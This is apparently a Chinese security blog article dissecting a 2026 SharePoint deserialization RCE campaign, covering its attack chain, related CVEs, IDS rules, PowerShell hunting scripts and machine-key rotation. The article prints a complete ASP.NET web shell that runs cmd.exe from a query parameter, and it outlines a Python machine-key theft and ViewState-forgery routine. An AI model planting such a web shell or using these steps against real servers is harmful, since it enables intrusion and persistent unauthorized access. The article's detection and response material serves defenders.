Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

SharePoint CVE-2026-50522 攻击浪潮:CVSS 9.8 反序列化 RCE 从 PoC 到 IIS 机器密钥窃取完整拆解

引言:SharePoint 正在被系统性围猎

2026 年 7 月 14 日,微软在 Patch Tuesday 中修复了 SharePoint Server 的多个严重漏洞。仅 6 天后,安全公司 watchTowr 发布了 CVE-2026-50522 的概念验证(PoC) exploit,随后确认该漏洞已在野外被积极利用。

这不是一个孤立事件。在过去一个月中,SharePoint Server 至少有 5 个 CVE 被确认遭野外利用,CISA 将全部纳入已知被利用漏洞(KEV)目录。攻击者不只是执行代码——他们在窃取 IIS 机器密钥,植入 Web Shell,建立即使打补丁后仍能维持的持久化访问。

本文从漏洞原理、完整攻击链、关联 CVE 矩阵、检测方法到应急响应全流程拆解这场 SharePoint 攻击浪潮。

一、漏洞技术分析

1.1 CVE-2026-50522 基本信息

属性
CVE 编号CVE-2026-50522
CVSS 3.19.8 (Critical)
CWECWE-502 (不安全反序列化)
攻击向量网络
攻击复杂度
需要认证微软称需要 Site Owner 权限,但最新研究表明可能无需认证
用户交互无需
影响产品SharePoint Server 订阅版 / 2019 / Enterprise Server 2016
补丁日期2026-07-14
PoC 状态watchTowr 于 2026-07-20 公开
野外利用✅ 已确认积极利用

1.2 反序列化漏洞原理

CVE-2026-50522 是一个典型的 .NET 不安全反序列化漏洞。SharePoint Server 使用 .NET 的 BinaryFormatter 或类似机制在处理特定请求时反序列化用户提供的数据。

攻击者 → HTTP 请求 (含序列化 payload)


    SharePoint Sign-In 端点


    .NET 反序列化 (BinaryFormatter)


    攻击者提供的对象被重建


    构造的 gadget chain 执行


    任意代码执行 (w3wp.exe 进程上下文)

关键细节:

  • 研究员 Defused 首先在蜜罐中捕获到未记录的 SharePoint 反序列化攻击流量
  • 研究员 Janggggg 随后公开了 PoC 利用代码
  • watchTowr 在 7 月 20 日发布完整 PoC 并确认野外利用
  • 攻击者利用单个精心构造的请求即可窃取 IIS 机器密钥

1.3 认证争议

微软最初表示利用 CVE-2026-50522 需要 Site Owner 级别权限。但 Defused Cyber 的后续研究发现,攻击者在实际利用中发送的恶意请求不包含认证信息,这与漏洞可能在某些场景下无需认证即可利用的判断一致。

CERT-EU 在 7 月 22 日的安全公告中明确指出:"最新发现表明该漏洞可能无需认证即可利用。" 这大幅扩大了攻击面。

二、完整攻击链拆解

2.1 攻击链概览

阶段 1: 初始访问
  ├── 发送 .NET 反序列化 payload 到 SharePoint 端点
  ├── (可能无需认证)
  └── 在 w3wp.exe 进程中执行任意代码

阶段 2: 凭证窃取
  ├── 单条特制请求提取 IIS 机器密钥
  ├── 机器密钥用于签名ViewState
  └── 即使打补丁后仍可伪造认证

阶段 3: 持久化
  ├── 在 Web 目录植入 Web Shell
  ├── 使用窃取的密钥签名恶意 token
  └── 常规文件扫描和日志分析难以发现

阶段 4: 横向移动
  ├── 从 SharePoint 收集凭据
  ├── 访问内部网络资源
  └── 部署勒索软件 (INC 勒索组织同期活跃)

2.2 IIS 机器密钥窃取

这是本次攻击浪潮中最危险的环节。IIS 机器密钥(machineKey)是 ASP.NET 应用用于签名和加密 ViewState、认证 cookie 等敏感数据的对称密钥。

python
# IIS 机器密钥窃取的概念性演示 (仅用于防御研究)
# 实际利用需针对目标 SharePoint 版本和配置调整

import requests
import base64

def steal_machine_key(target_url):
    """
    通过 CVE-2026-50522 反序列化漏洞,
    在单条请求中提取 SharePoint/IIS 机器密钥
    """
    # 构造 .NET 反序列化 gadget chain
    # 目标: 读取 web.config 中的 machineKey 配置
    payload = construct_deserialization_payload(
        target_file="C:\\inetpub\\wwwroot\\wss\\VirtualDirectories\\80\\web.config",
        extract_pattern="machineKey.*validationKey=\"([^\"]+)\".*decryptionKey=\"([^\"]+)\""
    )

    # 发送到 SharePoint sign-in 端点
    # Defused 观察到攻击者使用此端点, 且请求不含认证信息
    endpoint = f"{target_url}/_login/default.aspx"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        # 序列化 payload 通过特定字段传递
    }

    resp = requests.post(endpoint, data=payload, headers=headers, verify=False)

    # 从响应中提取机器密钥
    # 实际提取方式取决于 gadget chain 的输出机制
    validation_key, decryption_key = parse_response(resp)

    return validation_key, decryption_key

def forge_auth_with_stolen_key(target_url, validation_key, decryption_key):
    """
    使用窃取的机器密钥伪造认证 token
    即使目标已打补丁, 仍然有效!
    """
    # 使用窃取的密钥签名恶意 ViewState
    # 可以绕过认证, 直接访问管理功能
    forged_viewstate = sign_viewstate(
        payload="admin_access",
        validation_key=validation_key,
        decryption_key=decryption_key,
        algorithm="AES",
        validation_algorithm="HMACSHA256"
    )

    # 发送伪造的请求
    resp = requests.post(
        f"{target_url}/_layouts/15/settings.aspx",
        data={"__VIEWSTATE": forged_viewstate},
        verify=False
    )

    return resp.status_code

关键风险:即使管理员在发现漏洞后立即打补丁,如果攻击者已经在打补丁前窃取了机器密钥,他们仍然可以:

  • 伪造认证 cookie 维持访问
  • 签名恶意 ViewState 执行代码
  • 植入后门 Web Shell

因此,单纯打补丁是不够的——必须同时轮换机器密钥。

2.3 Web Shell 持久化

Resecurity 的报告详细描述了攻击者植入 Web Shell 的操作路径:

csharp
// 攻击者植入的典型 Web Shell (简化示例)
// 文件名伪装: /_layouts/15/error.aspx 或 /App_GlobalResources/healthcheck.aspx

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    void Page_Load(object sender, EventArgs e) {
        string cmd = Request.QueryString["c"];
        if (!string.IsNullOrEmpty(cmd)) {
            var psi = new ProcessStartInfo {
                FileName = "cmd.exe",
                Arguments = "/c " + cmd,
                RedirectStandardOutput = true,
                UseShellExecute = false,
                CreateNoWindow = true
            };
            var proc = Process.Start(psi);
            Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
        }
    }
</script>

Web Shell 的特点:

  • 伪装成 SharePoint 原生文件(_layouts 目录下)
  • 通过 HTTP 接收和执行系统命令
  • 混入正常的 Web 服务流量,常规文件扫描难以发现
  • 与 IIS 机器密钥窃取配合,形成双重持久化

三、关联 CVE 攻击矩阵

CVE-2026-50522 只是 SharePoint 攻击浪潮的冰山一角。以下 5 个 CVE 已全部被 CISA 纳入 KEV 目录:

CVE类型CVSS修复时间利用状态认证要求
CVE-2026-50522反序列化 RCE9.82026-07✅ 野外利用争议(可能无需)
CVE-2026-58644反序列化 RCE9.82026-07✅ 零日利用无需认证
CVE-2026-56164认证缺失9.82026-07✅ 野外利用无需认证
CVE-2026-45659反序列化 RCE8.82026-05✅ 野外利用需认证
CVE-2026-32201输入验证不当6.52026-04✅ 野外利用无需认证

3.1 攻击者的组合利用策略

攻击者选择路径:

路径 A (无需认证):
  CVE-2026-56164 (认证缺失) → 提升权限
  → CVE-2026-58644 (无需认证 RCE) → 代码执行
  → 窃取机器密钥 + Web Shell

路径 B (低权限认证):
  CVE-2026-32201 (欺骗) → 获取站点成员身份
  → CVE-2026-45659 (认证 RCE) → 代码执行
  → CVE-2026-50522 (Site Owner RCE) → 完全控制

路径 C (直接利用):
  CVE-2026-50522 (争议: 可能无需认证) → 代码执行
  → 窃取机器密钥 + 横向移动

3.2 CISA KEV 修复期限

所有 5 个 CVE 均在 CISA KEV 目录中,联邦文职机构必须在约束性操作指令 BOD 22-01 规定的期限内修复:

  • CVE-2026-32201:2026 年 5 月修复,KEV 期限已过
  • CVE-2026-45659:2026 年 6 月修复,KEV 期限已过
  • CVE-2026-50522 / 58644 / 56164:2026 年 7 月修复,KEV 期限紧迫

四、检测与狩猎

4.1 网络层检测

yaml
# Suricata / Snort 规则: 检测 SharePoint 反序列化攻击
alert http any any -> $HOME_NET any (
    msg: "SharePoint CVE-2026-50522 Deserialization Attempt";
    flow: established, to_server;
    uricontent: "/_login/default.aspx";
    http_method: POST;
    content: "BinaryFormatter|3a|";
    content: "AAEAAAD/////";
    pcre: "/__VIEWSTATE.*[A-Za-z0-9+\/]{500,}/";
    reference: cve, 2026-50522;
    classtype: attempted-admin;
    sid: 20260501;
    rev: 1;
)

# 检测异常的 SharePoint sign-in 请求 (无认证信息 + 大 payload)
alert http any any -> $HOME_NET any (
    msg: "SharePoint Unauthenticated Large Payload to Sign-In";
    flow: established, to_server;
    uricontent: "/_login/";
    http_method: POST;
    dsize: >4096;
    content: !"Authorization";
    content: !"Cookie";
    threshold: type both, count 5, seconds 60, track by_src;
    classtype: suspicious-login;
    sid: 20260502;
    rev: 1;
)

4.2 主机层检测

powershell
# PowerShell 狩猎脚本: 检测 SharePoint 服务器上的可疑活动

# 1. 检查 w3wp.exe 异常子进程 (代码执行的指标)
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    Id=4688
    Data='w3wp.exe'
} | Where-Object {
    $_.Message -match 'cmd\.exe|powershell\.exe|certutil\.exe|bitsadmin\.exe'
} | Select-Object TimeCreated, Message

# 2. 搜索 Web Shell (常见伪装路径)
$webShellPaths = @(
    "C:\inetpub\wwwroot\wss\VirtualDirectories\*\*_layouts\15\*.aspx",
    "C:\inetpub\wwwroot\wss\VirtualDirectories\*\*App_GlobalResources\*.aspx",
    "C:\Program Files\Common Files\microsoft shared\Web Server Extensions\*\*.aspx"
)

foreach ($path in $webShellPaths) {
    Get-ChildItem $path -ErrorAction SilentlyContinue | Where-Object {
        $_.LastWriteTime -gt (Get-Date).AddDays(-30)
    } | ForEach-Object {
        $content = Get-Content $_.FullName -Raw
        if ($content -match 'Process\.Start|cmd\.exe|/c\s|cmd=|c=') {
            [PSCustomObject]@{
                File = $_.FullName
                Modified = $_.LastWriteTime
                Risk = "HIGH"
            }
        }
    }
}

# 3. 检查机器密钥是否被读取 (审核文件访问)
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    Id=4663
} | Where-Object {
    $_.Message -match 'web\.config'
} | Select-Object TimeCreated, Message

# 4. 检查 SharePoint ULS 日志中的反序列化异常
$ulsLogPath = "C:\Program Files\Common Files\microsoft shared\Web Server Extensions\*\LOGS\"
Get-ChildItem $ulsLogPath -Filter "*.log" | Sort-Object LastWriteTime -Descending |
    Select-Object -First 5 | ForEach-Object {
        Select-String -Path $_.FullName -Pattern "deserialize|BinaryFormatter|serialization" -CaseSensitive:$false
    }

4.3 EDR 检测策略

检测维度指标误报率
进程行为w3wp.exe 产生 cmd.exe/powershell.exe 子进程中(合法插件可能触发)
文件系统_layoutsApp_GlobalResources 下新增 .aspx 文件
网络流量SharePoint sign-in 端点接收大 POST(无认证头)
事件日志4688 进程创建:w3wp.exe → 异常子进程
IIS 日志POST /_login/ 返回 200 但请求体积异常大

五、应急响应方案

5.1 优先级行动计划

P1 (立即执行):
  ├── 应用 Microsoft 2026 年 7 月 SharePoint 安全更新
  ├── 轮换所有 IIS 机器密钥 (即使未确认被窃取)
  ├── 更改管理员和服务账户凭据
  └── 限制 SharePoint 服务器的外部互联网访问

P2 (24 小时内):
  ├── 审查所有 SharePoint 日志 (IIS W3SVC + ULS)
  ├── 狩猎 Web Shell 和持久化机制
  ├── 检查使用旧机器密钥签名的认证 token
  └── 审查 SharePoint 登录页面的异常请求

P3 (72 小时内):
  ├── 完整的入侵评估 (compromise assessment)
  ├── 审查所有 SharePoint 站点权限变更
  ├── 检查横向移动指标
  └── 审查 INC 勒索组织 IoC

P4 (持续):
  ├── 监控 CISA KEV 目录更新
  ├── 订阅 watchTowr / Defused / CISA 通报
  └── 重新评估 SharePoint 互联网暴露的必要性

5.2 机器密钥轮换

powershell
# PowerShell: 生成新的 IIS 机器密钥
# 必须在每台 SharePoint 服务器上执行

# 生成新的 validationKey 和 decryptionKey
$validationKey = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 64 | % {[char]$_})
$decryptionKey = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 32 | % {[char]$_})

Write-Host "New Validation Key: $validationKey"
Write-Host "New Decryption Key: $decryptionKey"

# 更新 web.config
$webConfigPath = "C:\inetpub\wwwroot\wss\VirtualDirectories\80\web.config"
[xml]$config = Get-Content $webConfigPath

$machineKey = $config.configuration.system.web.machineKey
$machineKey.validationKey = $validationKey
$machineKey.decryptionKey = $decryptionKey

$config.Save($webConfigPath)

# 重启 IIS
iisreset /restart

Write-Host "Machine keys rotated. All existing sessions invalidated."
Write-Host "WARNING: Users will need to re-authenticate."

5.3 网络隔离方案

┌─────────────────────────────────────────────────┐
│          SharePoint 网络分段建议                   │
├─────────────────────────────────────────────────┤
│                                                 │
│  互联网 ←──→ WAF/反向代理 ←──→ SharePoint 服务器  │
│              │                       │          │
│              │                       ├── AD 域控  │
│              │                       ├── SQL DB  │
│              │                       └── 文件服务器 │
│              │                                  │
│              └── 规则:                           │
│                  ├── 仅允许 443 端口              │
│                  ├── 阻止 /_login/ 的外部访问     │
│                  ├── 限制 POST 体积              │
│                  └── 记录所有请求日志             │
│                                                 │
│  理想状态: SharePoint 不直接暴露在互联网          │
│  通过 VPN / ZTNA 访问                            │
└─────────────────────────────────────────────────┘

六、漏洞发现者与披露时间线

时间事件
2026-04微软修复 CVE-2026-32201(输入验证不当)
2026-05微软修复 CVE-2026-45659(反序列化 RCE)
2026-07-14微软 Patch Tuesday 修复 CVE-2026-50522 / 58644 / 56164
2026-07-14CISA 发布 SharePoint 加固警报
2026-07-20watchTowr 发布 CVE-2026-50522 PoC
2026-07-20watchTowr 确认野外利用开始
2026-07-20Defused Cyber 发现无认证利用尝试
2026-07-21Resecurity 发布 Web Shell + 机器密钥窃取报告
2026-07-22CERT-EU 发布安全公告 2026-009
2026-07-22CISA 更新 KEV 目录(5 个 SharePoint CVE)

漏洞发现者:CVE-2026-50522 由 DEVCORE 安全研究员 "splitline" 负责任披露。

七、教训与反思

7.1 SharePoint 成为攻击焦点的深层原因

  1. 高价值目标:SharePoint 存储企业核心文档和协作数据,是勒索软件的理想入口
  2. 互联网暴露:大量企业将 SharePoint 直接暴露在互联网,方便远程访问
  3. 复杂攻击面:SharePoint 的 .NET 反序列化历史问题众多,攻击者熟悉利用路径
  4. 补丁延迟:本地部署的 SharePoint 补丁速度通常慢于云服务

7.2 "打补丁就够了吗?"

不够。 本次攻击浪潮的核心教训是:攻击者在补丁发布前就已经利用零日漏洞窃取了机器密钥。即使补丁打上了,窃取的密钥仍然有效。

完整的安全响应必须包含:

  1. ✅ 打补丁
  2. ✅ 轮换机器密钥
  3. ✅ 狩猎 Web Shell
  4. ✅ 检查持久化机制
  5. ✅ 审查认证日志中的异常

7.3 .NET 反序列化的系统性问题

SharePoint 的反序列化漏洞反复出现(CVE-2026-50522、58644、45659 都是反序列化类型),这反映了 .NET 生态中 BinaryFormatter 的系统性风险。微软已在 .NET 5+ 中弃用 BinaryFormatter,但 SharePoint Server 作为遗留系统仍依赖旧版运行时。

总结

CVE-2026-50522 攻击浪潮展示了一个现代企业攻击的完整生命周期:从零日漏洞利用 → 代码执行 → 凭证窃取 → 持久化 → 横向移动。5 个关联 CVE 的组合利用使得攻击者有多条路径可以突破 SharePoint 防线。

对于仍在运行本地 SharePoint Server 的组织:

  • 立即打补丁(7 月安全更新)
  • 立即轮换机器密钥(这是最容易被忽略的步骤)
  • 限制互联网暴露(最佳实践是通过 VPN/ZTNA 访问)
  • 进行入侵评估(如果服务器曾暴露在互联网,假设已被入侵)

CERT-EU 的建议最为直接:"鉴于近期影响 SharePoint 的严重漏洞数量,组织应重新考虑将 SharePoint Server 直接暴露在互联网的做法。"

参考资料

上次更新于: